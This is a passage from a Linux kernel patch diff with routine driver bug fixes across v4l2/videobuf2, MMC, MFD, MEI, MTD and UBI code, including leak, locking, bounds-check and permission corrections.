(bitfield) */ __u32 tuner; /* Associated tuner */ - v4l2_std_id std; + compat_u64 std; __u32 status; __u32 reserved[4]; -} __attribute__ ((packed)); +}; /* The 64-bit v4l2_input struct has extra padding at the end of the struct. Otherwise it is identical to the 32-bit version. */ @@ -744,6 +739,7 @@ struct v4l2_event32 { struct v4l2_event_vsync vsync; struct v4l2_event_ctrl ctrl; struct v4l2_event_frame_sync frame_sync; + compat_s64 value64; __u8 data[64]; } u; __u32 pending; diff --git a/drivers/media/v4l2-core/videobuf2-core.c b/drivers/media/v4l2-core/videobuf2-core.c index 924624f13ea79..a81668820963f 100644 --- a/drivers/media/v4l2-core/videobuf2-core.c +++ b/drivers/media/v4l2-core/videobuf2-core.c @@ -666,6 +666,7 @@ static int __reqbufs(struct vb2_queue *q, struct v4l2_requestbuffers *req) * to the userspace. */ req->count = allocated_buffers; + q->waiting_for_buffers = !V4L2_TYPE_IS_OUTPUT(q->type); return 0; } @@ -714,6 +715,7 @@ static int __create_bufs(struct vb2_queue *q, struct v4l2_create_buffers *create memset(q->plane_sizes, 0, sizeof(q->plane_sizes)); memset(q->alloc_ctx, 0, sizeof(q->alloc_ctx)); q->memory = create->memory; + q->waiting_for_buffers = !V4L2_TYPE_IS_OUTPUT(q->type); } num_buffers = min(create->count, VB2_MAX_FRAME - q->num_buffers); @@ -1359,6 +1361,7 @@ int vb2_qbuf(struct vb2_queue *q, struct v4l2_buffer *b) * dequeued in dqbuf. */ list_add_tail(&vb->queued_entry, &q->queued_list); + q->waiting_for_buffers = false; vb->state = VB2_BUF_STATE_QUEUED; /* @@ -1729,6 +1732,7 @@ int vb2_streamoff(struct vb2_queue *q, enum v4l2_buf_type type) * and videobuf, effectively returning control over them to userspace. */ __vb2_queue_cancel(q); + q->waiting_for_buffers = !V4L2_TYPE_IS_OUTPUT(q->type); dprintk(3, "Streamoff successful\n"); return 0; @@ -2014,9 +2018,16 @@ unsigned int vb2_poll(struct vb2_queue *q, struct file *file, poll_table *wait) } /* - * There is nothing to wait for if no buffers have already been queued. + * There is nothing to wait for if the queue isn't streaming. */ - if (list_empty(&q->queued_list)) + if (!vb2_is_streaming(q)) + return res | POLLERR; + /* + * For compatibility with vb1: if QBUF hasn't been called yet, then + * return POLLERR as well. This only affects capture queues, output + * queues will always initialize waiting_for_buffers to false. + */ + if (q->waiting_for_buffers) return res | POLLERR; if (list_empty(&q->done_list)) diff --git a/drivers/media/v4l2-core/videobuf2-dma-contig.c b/drivers/media/v4l2-core/videobuf2-dma-contig.c index fd56f25632018..297fbc59a800b 100644 --- a/drivers/media/v4l2-core/videobuf2-dma-contig.c +++ b/drivers/media/v4l2-core/videobuf2-dma-contig.c @@ -117,7 +117,8 @@ static void vb2_dc_prepare(void *buf_priv) if (!sgt || buf->db_attach) return; - dma_sync_sg_for_device(buf->dev, sgt->sgl, sgt->nents, buf->dma_dir); + dma_sync_sg_for_device(buf->dev, sgt->sgl, sgt->orig_nents, + buf->dma_dir); } static void vb2_dc_finish(void *buf_priv) @@ -129,7 +130,7 @@ static void vb2_dc_finish(void *buf_priv) if (!sgt || buf->db_attach) return; - dma_sync_sg_for_cpu(buf->dev, sgt->sgl, sgt->nents, buf->dma_dir); + dma_sync_sg_for_cpu(buf->dev, sgt->sgl, sgt->orig_nents, buf->dma_dir); } /*********************************************/ diff --git a/drivers/memstick/core/mspro_block.c b/drivers/memstick/core/mspro_block.c index f4176ca3a794e..cdd61ab5c2b57 100644 --- a/drivers/memstick/core/mspro_block.c +++ b/drivers/memstick/core/mspro_block.c @@ -758,7 +758,7 @@ static int mspro_block_complete_req(struct memstick_dev *card, int error) if (error || (card->current_mrq.tpc == MSPRO_CMD_STOP)) { if (msb->data_dir == READ) { - for (cnt = 0; cnt < msb->current_seg; cnt++) + for (cnt = 0; cnt < msb->current_seg; cnt++) { t_len += msb->req_sg[cnt].length / msb->page_size; @@ -766,6 +766,7 @@ static int mspro_block_complete_req(struct memstick_dev *card, int error) t_len += msb->current_page - 1; t_len *= msb->page_size; + } } } else t_len = blk_rq_bytes(msb->block_req); diff --git a/drivers/message/fusion/mptspi.c b/drivers/message/fusion/mptspi.c index 5653e505f91ff..424f51d1e2ce0 100644 --- a/drivers/message/fusion/mptspi.c +++ b/drivers/message/fusion/mptspi.c @@ -1422,6 +1422,11 @@ mptspi_probe(struct pci_dev *pdev, const struct pci_device_id *id) goto out_mptspi_probe; } + /* VMWare emulation doesn't properly implement WRITE_SAME + */ + if (pdev->subsystem_vendor == 0x15AD) + sh->no_write_same = 1; + spin_lock_irqsave(&ioc->FreeQlock, flags); /* Attach the SCSI Host to the IOC structure diff --git a/drivers/mfd/omap-usb-host.c b/drivers/mfd/omap-usb-host.c index 759fae3ca7fb0..a36f3f282ae75 100644 --- a/drivers/mfd/omap-usb-host.c +++ b/drivers/mfd/omap-usb-host.c @@ -445,7 +445,7 @@ static unsigned omap_usbhs_rev1_hostconfig(struct usbhs_hcd_omap *omap, for (i = 0; i < omap->nports; i++) { if (is_ehci_phy_mode(pdata->port_mode[i])) { - reg &= OMAP_UHH_HOSTCONFIG_ULPI_BYPASS; + reg &= ~OMAP_UHH_HOSTCONFIG_ULPI_BYPASS; break; } } diff --git a/drivers/mfd/omap-usb-tll.c b/drivers/mfd/omap-usb-tll.c index e59ac4cbac961..c7576a503e5b1 100644 --- a/drivers/mfd/omap-usb-tll.c +++ b/drivers/mfd/omap-usb-tll.c @@ -269,6 +269,8 @@ static int usbtll_omap_probe(struct platform_device *pdev) if (IS_ERR(tll->ch_clk[i])) dev_dbg(dev, "can't get clock : %s\n", clkname); + else + clk_prepare(tll->ch_clk[i]); } pm_runtime_put_sync(dev); @@ -301,9 +303,12 @@ static int usbtll_omap_remove(struct platform_device *pdev) tll_dev = NULL; spin_unlock(&tll_lock); - for (i = 0; i < tll->nch; i++) - if (!IS_ERR(tll->ch_clk[i])) + for (i = 0; i < tll->nch; i++) { + if (!IS_ERR(tll->ch_clk[i])) { + clk_unprepare(tll->ch_clk[i]); clk_put(tll->ch_clk[i]); + } + } pm_runtime_disable(&pdev->dev); return 0; diff --git a/drivers/mfd/rtsx_pcr.c b/drivers/mfd/rtsx_pcr.c index 45f26be359eaf..7e28bd0de5540 100644 --- a/drivers/mfd/rtsx_pcr.c +++ b/drivers/mfd/rtsx_pcr.c @@ -1137,7 +1137,7 @@ static int rtsx_pci_probe(struct pci_dev *pcidev, pcr->msi_en = msi_en; if (pcr->msi_en) { ret = pci_enable_msi(pcidev); - if (ret < 0) + if (ret) pcr->msi_en = false; } diff --git a/drivers/mfd/sm501.c b/drivers/mfd/sm501.c index 9816c232e5833..c04e08d1d0fa1 100644 --- a/drivers/mfd/sm501.c +++ b/drivers/mfd/sm501.c @@ -1232,7 +1232,7 @@ static ssize_t sm501_dbg_regs(struct device *dev, } -static DEVICE_ATTR(dbg_regs, 0666, sm501_dbg_regs, NULL); +static DEVICE_ATTR(dbg_regs, 0444, sm501_dbg_regs, NULL); /* sm501_init_reg * diff --git a/drivers/mfd/tc6393xb.c b/drivers/mfd/tc6393xb.c index 15e1463e5e133..17fe83e81ea40 100644 --- a/drivers/mfd/tc6393xb.c +++ b/drivers/mfd/tc6393xb.c @@ -263,6 +263,17 @@ static int tc6393xb_ohci_disable(struct platform_device *dev) return 0; } +static int tc6393xb_ohci_suspend(struct platform_device *dev) +{ + struct tc6393xb_platform_data *tcpd = dev_get_platdata(dev->dev.parent); + + /* We can't properly store/restore OHCI state, so fail here */ + if (tcpd->resume_restore) + return -EBUSY; + + return tc6393xb_ohci_disable(dev); +} + static int tc6393xb_fb_enable(struct platform_device *dev) { struct tc6393xb *tc6393xb = dev_get_drvdata(dev->dev.parent); @@ -403,7 +414,7 @@ static struct mfd_cell tc6393xb_cells[] = { .num_resources = ARRAY_SIZE(tc6393xb_ohci_resources), .resources = tc6393xb_ohci_resources, .enable = tc6393xb_ohci_enable, - .suspend = tc6393xb_ohci_disable, + .suspend = tc6393xb_ohci_suspend, .resume = tc6393xb_ohci_enable, .disable = tc6393xb_ohci_disable, }, diff --git a/drivers/misc/Kconfig b/drivers/misc/Kconfig index ea5755846d100..f159fff09bfa6 100644 --- a/drivers/misc/Kconfig +++ b/drivers/misc/Kconfig @@ -465,7 +465,7 @@ config ARM_CHARLCD still useful. config BMP085 - bool + tristate depends on SYSFS config BMP085_I2C diff --git a/drivers/misc/ad525x_dpot.c b/drivers/misc/ad525x_dpot.c index 8f99e8e3f0ac1..beb7422c3cc7d 100644 --- a/drivers/misc/ad525x_dpot.c +++ b/drivers/misc/ad525x_dpot.c @@ -216,7 +216,7 @@ static s32 dpot_read_i2c(struct dpot_data *dpot, u8 reg) */ value = swab16(value); - if (dpot->uid == DPOT_UID(AD5271_ID)) + if (dpot->uid == DPOT_UID(AD5274_ID)) value = value >> 2; return value; default: diff --git a/drivers/misc/mei/bus.c b/drivers/misc/mei/bus.c index 99cc0b07a7131..0513ea0906dd6 100644 --- a/drivers/misc/mei/bus.c +++ b/drivers/misc/mei/bus.c @@ -71,7 +71,7 @@ static int mei_cl_device_probe(struct device *dev) dev_dbg(dev, "Device probe\n"); - strncpy(id.name, dev_name(dev), MEI_CL_NAME_SIZE); + strlcpy(id.name, dev_name(dev), sizeof(id.name)); return driver->probe(device, &id); } diff --git a/drivers/misc/mei/client.c b/drivers/misc/mei/client.c index 0bb2aa2c6fb07..07ed4b5b1659d 100644 --- a/drivers/misc/mei/client.c +++ b/drivers/misc/mei/client.c @@ -405,6 +405,7 @@ int mei_cl_disconnect(struct mei_cl *cl) dev_err(&dev->pdev->dev, "failed to disconnect.\n"); goto free; } + cl->timer_count = MEI_CONNECT_TIMEOUT; mdelay(10); /* Wait for hardware disconnection ready */ list_add_tail(&cb->list, &dev->ctrl_rd_list.list); } else { @@ -511,6 +512,7 @@ int mei_cl_connect(struct mei_cl *cl, struct file *file) cl->timer_count = MEI_CONNECT_TIMEOUT; list_add_tail(&cb->list, &dev->ctrl_rd_list.list); } else { + cl->state = MEI_FILE_INITIALIZING; list_add_tail(&cb->list, &dev->ctrl_wr_list.list); } diff --git a/drivers/misc/mei/nfc.c b/drivers/misc/mei/nfc.c index 994ca4aff1a37..4b7ea3fb143c6 100644 --- a/drivers/misc/mei/nfc.c +++ b/drivers/misc/mei/nfc.c @@ -342,9 +342,10 @@ static int mei_nfc_send(struct mei_cl_device *cldev, u8 *buf, size_t length) ndev = (struct mei_nfc_dev *) cldev->priv_data; dev = ndev->cl->dev; + err = -ENOMEM; mei_buf = kzalloc(length + MEI_NFC_HEADER_SIZE, GFP_KERNEL); if (!mei_buf) - return -ENOMEM; + goto out; hdr = (struct mei_nfc_hci_hdr *) mei_buf; hdr->cmd = MEI_NFC_CMD_HCI_SEND; @@ -354,12 +355,9 @@ static int mei_nfc_send(struct mei_cl_device *cldev, u8 *buf, size_t length) hdr->data_size = length; memcpy(mei_buf + MEI_NFC_HEADER_SIZE, buf, length); - err = __mei_cl_send(ndev->cl, mei_buf, length + MEI_NFC_HEADER_SIZE); if (err < 0) - return err; - - kfree(mei_buf); + goto out; if (!wait_event_interruptible_timeout(ndev->send_wq, ndev->recv_req_id == ndev->req_id, HZ)) { @@ -368,7 +366,8 @@ static int mei_nfc_send(struct mei_cl_device *cldev, u8 *buf, size_t length) } else { ndev->req_id++; } - +out: + kfree(mei_buf); return err; } diff --git a/drivers/mmc/card/block.c b/drivers/mmc/card/block.c index c91b28e285612..91a4b8a6b9101 100644 --- a/drivers/mmc/card/block.c +++ b/drivers/mmc/card/block.c @@ -64,8 +64,7 @@ MODULE_ALIAS("mmc:block"); #define INAND_CMD38_ARG_SECTRIM2 0x88 #define MMC_BLK_TIMEOUT_MS (30 * 1000) /* 30 sec timeout */ -#define mmc_req_rel_wr(req) (((req->cmd_flags & REQ_FUA) || \ - (req->cmd_flags & REQ_META)) && \ +#define mmc_req_rel_wr(req) ((req->cmd_flags & REQ_FUA) && \ (rq_data_dir(req) == WRITE)) #define PACKED_CMD_VER 0x01 #define PACKED_CMD_WR 0x02 @@ -228,6 +227,8 @@ static ssize_t power_ro_lock_show(struct device *dev, ret = snprintf(buf, PAGE_SIZE, "%d\n", locked); + mmc_blk_put(md); + return ret; } @@ -290,7 +291,7 @@ static ssize_t force_ro_show(struct device *dev, struct device_attribute *attr, if (!md) return -EINVAL; - ret = snprintf(buf, PAGE_SIZE, "%d", + ret = snprintf(buf, PAGE_SIZE, "%d\n", get_disk_ro(dev_to_disk(dev)) ^ md->read_only); mmc_blk_put(md); @@ -1353,6 +1354,18 @@ static inline void mmc_blk_reset_success(struct mmc_blk_data *md, int type) md->reset_done &= ~type; } +int mmc_access_rpmb(struct mmc_queue *mq) +{ + struct mmc_blk_data *md = mq->data; + /* + * If this is a RPMB partition access, return ture + */ + if (md && md->part_type == EXT_CSD_PART_CONFIG_ACC_RPMB) + return true; + + return false; +} + static int mmc_blk_issue_discard_rq(struct mmc_queue *mq, struct request *req) { struct mmc_blk_data *md = mq->data; @@ -1862,13 +1875,9 @@ static void mmc_blk_rw_rq_prep(struct mmc_queue_req *mqrq, /* * Reliable writes are used to implement Forced Unit Access and - * REQ_META accesses, and are supported only on MMCs. - * - * XXX: this really needs a good explanation of why REQ_META - * is treated special. + * are supported only on MMCs. */ - bool do_rel_wr = ((req->cmd_flags & REQ_FUA) || - (req->cmd_flags & REQ_META)) && + bool do_rel_wr = (req->cmd_flags & REQ_FUA) && (rq_data_dir(req) == WRITE) && (md->flags & MMC_BLK_REL_WR); @@ -2380,8 +2389,8 @@ static void mmc_blk_packed_hdr_wrq_prep(struct mmc_queue_req *mqrq, packed_cmd_hdr = packed->cmd_hdr; memset(packed_cmd_hdr, 0, sizeof(packed->cmd_hdr)); - packed_cmd_hdr[0] = (packed->nr_entries << 16) | - (PACKED_CMD_WR << 8) | PACKED_CMD_VER; + packed_cmd_hdr[0] = cpu_to_le32((packed->nr_entries << 16) | + (PACKED_CMD_WR << 8) | PACKED_CMD_VER); hdr_blocks = mmc_large_sector(card) ? 8 : 1; /* @@ -2395,14 +2404,14 @@ static void mmc_blk_packed_hdr_wrq_prep(struct mmc_queue_req *mqrq, ((brq->data.blocks * brq->data.blksz) >= card->ext_csd.data_tag_unit_size); /* Argument of CMD23 */ - packed_cmd_hdr[(i * 2)] = + packed_cmd_hdr[(i * 2)] = cpu_to_le32( (do_rel_wr ? MMC_CMD23_ARG_REL_WR : 0) | (do_data_tag ? MMC_CMD23_ARG_TAG_REQ : 0) | - blk_rq_sectors(prq); + blk_rq_sectors(prq)); /* Argument of CMD18 or CMD25 */ - packed_cmd_hdr[((i * 2)) + 1] = + packed_cmd_hdr[((i * 2)) + 1] = cpu_to_le32( mmc_card_blockaddr(card) ? - blk_rq_pos(prq) : blk_rq_pos(prq) << 9; + blk_rq_pos(prq) : blk_rq_pos(prq) << 9); packed->blocks += blk_rq_sectors(prq); i++; } @@ -3236,11 +3245,12 @@ static const struct mmc_fixup blk_fixups[] = MMC_QUIRK_BLK_NO_CMD23), /* - * Some Micron MMC cards needs longer data read timeout than - * indicated in CSD. + * Some MMC cards need longer data read timeout than indicated in CSD. */ MMC_FIXUP(CID_NAME_ANY, CID_MANFID_MICRON, 0x200, add_quirk_mmc, MMC_QUIRK_LONG_READ_TIME), + MMC_FIXUP("008GE0", CID_MANFID_TOSHIBA, CID_OEMID_ANY, add_quirk_mmc, + MMC_QUIRK_LONG_READ_TIME), /* * Some Samsung MMC cards need longer data read timeout than diff --git a/drivers/mmc/card/queue.c b/drivers/mmc/card/queue.c index fb2a3020b09fd..93e3cee310838 100644 --- a/drivers/mmc/card/queue.c +++ b/drivers/mmc/card/queue.c @@ -45,7 +45,7 @@ static int mmc_prep_request(struct request_queue *q, struct request *req) return BLKPREP_KILL; } - if (mq && mmc_card_removed(mq->card)) + if (mq && (mmc_card_removed(mq->card) || mmc_access_rpmb(mq))) return BLKPREP_KILL; req->cmd_flags |= REQ_DONTPREP; diff --git a/drivers/mmc/card/queue.h b/drivers/mmc/card/queue.h index bb8ab61943eef..454f2c6610db5 100644 --- a/drivers/mmc/card/queue.h +++ b/drivers/mmc/card/queue.h @@ -82,4 +82,6 @@ extern void mmc_packed_clean(struct mmc_queue *); extern void print_mmc_packing_stats(struct mmc_card *card); +extern int mmc_access_rpmb(struct mmc_queue *); + #endif diff --git a/drivers/mmc/core/core.c b/drivers/mmc/core/core.c index ad8f52371cc82..ccae16f6a78b8 100644 --- a/drivers/mmc/core/core.c +++ b/drivers/mmc/core/core.c @@ -1360,11 +1360,11 @@ void mmc_set_data_timeout(struct mmc_data *data, const struct mmc_card *card) /* * Some cards require longer data read timeout than indicated in CSD. * Address this by setting the read timeout to a "reasonably high" - * value. For the cards tested, 300ms has proven enough. If necessary, + * value. For the cards tested, 600ms has proven enough. If necessary, * this value can be increased if other problematic cards require this. */ if (mmc_card_long_read_time(card) && data->flags & MMC_DATA_READ) { - data->timeout_ns = 300000000; + data->timeout_ns = 600000000; data->timeout_clks = 0; } diff --git a/drivers/mmc/core/mmc.c b/drivers/mmc/core/mmc.c index 3587f95b49b10..afa95741a42d6 100644 --- a/drivers/mmc/core/mmc.c +++ b/drivers/mmc/core/mmc.c @@ -306,6 +306,9 @@ static void mmc_select_card_type(struct mmc_card *card) card->ext_csd.card_type = card_type; } +/* Minimum partition switch timeout in milliseconds */ +#define MMC_MIN_PART_SWITCH_TIME 300 + /* * Decode extended CSD. */ @@ -374,6 +377,10 @@ static int mmc_read_ext_csd(struct mmc_card *card, u8 *ext_csd) /* EXT_CSD value is in units of 10ms, but we store in ms */ card->ext_csd.part_time = 10 * ext_csd[EXT_CSD_PART_SWITCH_TIME]; + /* Some eMMC set the value too low so set a minimum */ + if (card->ext_csd.part_time && + card->ext_csd.part_time < MMC_MIN_PART_SWITCH_TIME) + card->ext_csd.part_time = MMC_MIN_PART_SWITCH_TIME; /* Sleep / awake timeout in 100ns units */ if (sa_shift > 0 && sa_shift <= 0x17) diff --git a/drivers/mmc/host/atmel-mci.c b/drivers/mmc/host/atmel-mci.c index 84b054b084621..e742761679fa0 100644 --- a/drivers/mmc/host/atmel-mci.c +++ b/drivers/mmc/host/atmel-mci.c @@ -1295,7 +1295,7 @@ static void atmci_set_ios(struct mmc_host *mmc, struct mmc_ios *ios) if (ios->clock) { unsigned int clock_min = ~0U; - u32 clkdiv; + int clkdiv; spin_lock_bh(&host->lock); if (!host->mode_reg) { @@ -1320,7 +1320,12 @@ static void atmci_set_ios(struct mmc_host *mmc, struct mmc_ios *ios) /* Calculate clock divider */ if (host->caps.has_odd_clk_div) { clkdiv = DIV_ROUND_UP(host->bus_hz, clock_min) - 2; - if (clkdiv > 511) { + if (clkdiv < 0) { + dev_warn(&mmc->class_dev, + "clock %u too fast; using %lu\n", + clock_min, host->bus_hz / 2); + clkdiv = 0; + } else if (clkdiv > 511) { dev_warn(&mmc->class_dev, "clock %u too slow; using %lu\n", clock_min, host->bus_hz / (511 + 2)); diff --git a/drivers/mmc/host/mmci.c b/drivers/mmc/host/mmci.c index f4f3038c1df08..faeda85e78fa6 100644 --- a/drivers/mmc/host/mmci.c +++ b/drivers/mmc/host/mmci.c @@ -1740,7 +1740,7 @@ static struct amba_id mmci_ids[] = { { .id = 0x00280180, .mask = 0x00ffffff, - .data = &variant_u300, + .data = &variant_nomadik, }, { .id = 0x00480180, diff --git a/drivers/mmc/host/rtsx_pci_sdmmc.c b/drivers/mmc/host/rtsx_pci_sdmmc.c index 7ffb5cba30a9f..4c65a5a4d8f4e 100644 --- a/drivers/mmc/host/rtsx_pci_sdmmc.c +++ b/drivers/mmc/host/rtsx_pci_sdmmc.c @@ -341,6 +341,13 @@ static void sd_send_cmd_get_rsp(struct realtek_pci_sdmmc *host, } if (rsp_type == SD_RSP_TYPE_R2) { + /* + * The controller offloads the last byte {CRC-7, end bit 1'b1} + * of response type R2. Assign dummy CRC, 0, and end bit to the + * byte(ptr[16], goes into the LSB of resp[3] later). + */ + ptr[16] = 1; + for (i = 0; i < 4; i++) { cmd->resp[i] = get_unaligned_be32(ptr + 1 + i * 4); dev_dbg(sdmmc_dev(host), "cmd->resp[%d] = 0x%08x\n", diff --git a/drivers/mmc/host/sdhci-esdhc.h b/drivers/mmc/host/sdhci-esdhc.h index d25f9ab9a54da..d33bb95224161 100644 --- a/drivers/mmc/host/sdhci-esdhc.h +++ b/drivers/mmc/host/sdhci-esdhc.h @@ -40,7 +40,7 @@ #define ESDHC_DMA_SYSCTL 0x40c #define ESDHC_DMA_SNOOP 0x00000040 -#define ESDHC_HOST_CONTROL_RES 0x05 +#define ESDHC_HOST_CONTROL_RES 0x01 static inline void esdhc_set_clock(struct sdhci_host *host, unsigned int clock) { diff --git a/drivers/mmc/host/sdhci-pxav3.c b/drivers/mmc/host/sdhci-pxav3.c index 1ae358e0662da..c24fbc574cf12 100644 --- a/drivers/mmc/host/sdhci-pxav3.c +++ b/drivers/mmc/host/sdhci-pxav3.c @@ -201,8 +201,8 @@ static struct sdhci_pxa_platdata *pxav3_get_mmc_pdata(struct device *dev) if (!pdata) return NULL; - of_property_read_u32(np, "mrvl,clk-delay-cycles", &clk_delay_cycles); - if (clk_delay_cycles > 0) + if (!of_property_read_u32(np, "mrvl,clk-delay-cycles", + &clk_delay_cycles)) pdata->clk_delay_cycles = clk_delay_cycles; return pdata; @@ -255,6 +255,7 @@ static int sdhci_pxav3_probe(struct platform_device *pdev) mmc_of_parse(host->mmc); sdhci_get_of_property(pdev); pdata = pxav3_get_mmc_pdata(dev); + pdev->dev.platform_data = pdata; } else if (pdata) { /* on-chip device */ if (pdata->flags & PXA_FLAG_CARD_PERMANENT) diff --git a/drivers/mtd/ftl.c b/drivers/mtd/ftl.c index 19d637266fcd4..71e4f6ccae2ff 100644 --- a/drivers/mtd/ftl.c +++ b/drivers/mtd/ftl.c @@ -1075,7 +1075,6 @@ static void ftl_add_mtd(struct mtd_blktrans_ops *tr, struct mtd_info *mtd) return; } - ftl_freepart(partition); kfree(partition); } diff --git a/drivers/mtd/maps/dc21285.c b/drivers/mtd/maps/dc21285.c index f8a7dd14cee0c..70a3db3ab856f 100644 --- a/drivers/mtd/maps/dc21285.c +++ b/drivers/mtd/maps/dc21285.c @@ -38,9 +38,9 @@ static void nw_en_write(void) * we want to write a bit pattern XXX1 to Xilinx to enable * the write gate, which will be open for about the next 2ms. */ - spin_lock_irqsave(&nw_gpio_lock, flags); + raw_spin_lock_irqsave(&nw_gpio_lock, flags); nw_cpld_modify(CPLD_FLASH_WR_ENABLE, CPLD_FLASH_WR_ENABLE); - spin_unlock_irqrestore(&nw_gpio_lock, flags); + raw_spin_unlock_irqrestore(&nw_gpio_lock, flags); /* * let the ISA bus to catch on... diff --git a/drivers/mtd/mtd_blkdevs.c b/drivers/mtd/mtd_blkdevs.c index 5d2c4ad3547b1..8f58b11ff7133 100644 --- a/drivers/mtd/mtd_blkdevs.c +++ b/drivers/mtd/mtd_blkdevs.c @@ -199,6 +199,7 @@ static int blktrans_open(struct block_device *bdev, fmode_t mode) return -ERESTARTSYS; /* FIXME: busy loop! -arnd*/ mutex_lock(&dev->lock); + mutex_lock(&mtd_table_mutex); if (dev->open) goto unlock; @@ -222,6 +223,7 @@ static int blktrans_open(struct block_device *bdev, fmode_t mode) unlock: dev->open++; + mutex_unlock(&mtd_table_mutex); mutex_unlock(&dev->lock); blktrans_dev_put(dev); return ret; @@ -232,6 +234,7 @@ static int blktrans_open(struct block_device *bdev, fmode_t mode) error_put: module_put(dev->tr->owner); kref_put(&dev->ref, blktrans_dev_release); + mutex_unlock(&mtd_table_mutex); mutex_unlock(&dev->lock); blktrans_dev_put(dev); return ret; @@ -245,6 +248,7 @@ static void blktrans_release(struct gendisk *disk, fmode_t mode) return; mutex_lock(&dev->lock); + mutex_lock(&mtd_table_mutex); if (--dev->open) goto unlock; @@ -258,6 +262,7 @@ static void blktrans_release(struct gendisk *disk, fmode_t mode) __put_mtd_device(dev->mtd); } unlock: + mutex_unlock(&mtd_table_mutex); mutex_unlock(&dev->lock); blktrans_dev_put(dev); } diff --git a/drivers/mtd/mtdpart.c b/drivers/mtd/mtdpart.c index a269fac575f6d..c92d9fe13b729 100644 --- a/drivers/mtd/mtdpart.c +++ b/drivers/mtd/mtdpart.c @@ -644,8 +644,10 @@ int add_mtd_partitions(struct mtd_info *master, for (i = 0; i < nbparts; i++) { slave = allocate_partition(master, parts + i, i, cur_offset); - if (IS_ERR(slave)) + if (IS_ERR(slave)) { + del_mtd_partitions(master); return PTR_ERR(slave); + } mutex_lock(&mtd_partitions_mutex); list_add(&slave->list, &mtd_partitions); diff --git a/drivers/mtd/nand/omap2.c b/drivers/mtd/nand/omap2.c index 8c4eb287bbdb5..e9b1797cdb5f0 100644 --- a/drivers/mtd/nand/omap2.c +++ b/drivers/mtd/nand/omap2.c @@ -948,7 +948,7 @@ static int omap_calculate_ecc(struct mtd_info *mtd, const u_char *dat, u32 val; val = readl(info->reg.gpmc_ecc_config); - if (((val >> ECC_CONFIG_CS_SHIFT) & ~CS_MASK) != info->gpmc_cs) + if (((val >> ECC_CONFIG_CS_SHIFT) & CS_MASK) != info->gpmc_cs) return -EINVAL; /* read ecc result */ diff --git a/drivers/mtd/onenand/onenand_base.c b/drivers/mtd/onenand/onenand_base.c index b3f41f200622b..0f13fd4748ecc 100644 --- a/drivers/mtd/onenand/onenand_base.c +++ b/drivers/mtd/onenand/onenand_base.c @@ -2610,6 +2610,7 @@ static int onenand_default_block_markbad(struct mtd_info *mtd, loff_t ofs) */ static int onenand_block_markbad(struct mtd_info *mtd, loff_t ofs) { + struct onenand_chip *this = mtd->priv; int ret; ret = onenand_block_isbad(mtd, ofs); @@ -2621,7 +2622,7 @@ static int onenand_block_markbad(struct mtd_info *mtd, loff_t ofs) } onenand_get_device(mtd, FL_WRITING); - ret = mtd_block_markbad(mtd, ofs); + ret = this->block_markbad(mtd, ofs); onenand_release_device(mtd); return ret; } diff --git a/drivers/mtd/ubi/attach.c b/drivers/mtd/ubi/attach.c index 149e6cf27add5..d99c0854ecdd9 100644 --- a/drivers/mtd/ubi/attach.c +++ b/drivers/mtd/ubi/attach.c @@ -439,7 +439,7 @@ int ubi_compare_lebs(struct ubi_device *ubi, const struct ubi_ainf_peb *aeb, second_is_newer = !second_is_newer; } else { dbg_bld("PEB %d CRC is OK", pnum); - bitflips = !!err; + bitflips |= !!err; } mutex_unlock(&ubi->buf_mutex); diff --git a/drivers/mtd/ubi/build.c b/drivers/mtd/ubi/build.c index 880ea8d0bb4c1..311cd25ef4551 100644 --- a/drivers/mtd/ubi/build.c +++ b/drivers/mtd/ubi/build.c @@ -1088,6 +1088,9 @@ int ubi_attach_mtd_dev(struct mtd_info *mtd, int ubi_num, goto out_detach; } + /* Make device "available" before it becomes accessible via sysfs */ + ubi_devices[ubi_num] = ubi; + err = uif_init(ubi, &ref); if (err) goto out_detach; @@ -1136,7 +1139,6 @@ int ubi_attach_mtd_dev(struct mtd_info *mtd, int ubi_num, wake_up_process(ubi->bgt_thread); spin_unlock(&ubi->wl_lock); - ubi_devices[ubi_num] = ubi; ubi_notify_all(ubi, UBI_VOLUME_ADDED, NULL); return ubi_num; @@ -1147,6 +1149,7 @@ int ubi_attach_mtd_dev(struct mtd_info *mtd, int ubi_num, ubi_assert(ref); uif_close(ubi); out_detach: + ubi_devices[ubi_num] = NULL; ubi_wl_close(ubi); ubi_free_internal_volumes(ubi); vfree(ubi->vtbl); diff --git a/drivers/mtd/ubi/cdev.c b/drivers/mtd/ubi/cdev.c index 3e3aa9e92536c..0c9af255368e2 100644 --- a/drivers/mtd/ubi/cdev.c +++ b/drivers/mtd/ubi/cdev.c @@ -453,7 +453,7 @@ static long vol_cdev_ioctl(struct file *file, unsigned int cmd, /* Validate the request */ err = -EINVAL; if (req.lnum < 0 || req.lnum >= vol->reserved_pebs || - req.bytes < 0 || req.lnum >= vol->usable_leb_size) + req.bytes < 0 || req.bytes > vol->usable_leb_size) break; err = get_exclusive(ubi, desc); diff --git a/drivers/mtd/ubi/eba.c b/drivers/mtd/ubi/eba.c index 4267b23164c83..d0b3e331b06ad 100644 --- a/drivers/mtd/ubi/eba.c +++ b/drivers/mtd/ubi/eba.c @@ -1369,7 +1369,8 @@ int ubi_eba_init(struct ubi_device *ubi, struct ubi_attach_info *ai) * during re-size. */ ubi_move_aeb_to_list(av, aeb, &ai->erase); - vol->eba_tbl[aeb->lnum] = aeb->pnum; + else + vol->eba_tbl[aeb->lnum] = aeb->pnum; } } diff --git a/drivers/mtd/ubi/fastmap.c b/drivers/mtd/ubi/fastmap.c index 50f2cb7fe9a6c..af77c31e773f9 100644 --- a/drivers/mtd/ubi/fastmap.c +++ b/drivers/mtd/ubi/fastmap.c @@ -346,6 +346,7 @@ static int process_pool_aeb(struct ubi_device *ubi, struct ubi_attach_info *ai, av = tmp_av; else { ubi_err(ubi->ubi_num, "orphaned volume in fastmap pool!"); + kmem_cache_free(ai->aeb_slab_cache, new_aeb); return UBI_BAD_FASTMAP; } diff --git a/drivers/mtd/ubi/io.c b/drivers/mtd/ubi/io.c index 8e2d7e80ab643..1d6279d8672dd 100644 --- a/drivers/mtd/ubi/io.c +++ b/drivers/mtd/ubi/io.c @@ -957,6 +957,11 @@ static int validate_vid_hdr(const struct ubi_device *ubi, goto bad; } + if (data_size > ubi->leb_size) { + ubi_err("bad data_size"); + goto bad; + } + if (vol_type == UBI_VID_STATIC) { /* * Although from high-level point of view static volumes may diff --git a/drivers/mtd/ubi/misc.c b/drivers/mtd/ubi/misc.c index c55e54207050c..193c6a2652d59 100644 --- a/drivers/mtd/ubi/misc.c +++ b/drivers/mtd/ubi/misc.c @@ -74,6 +74,8 @@ int 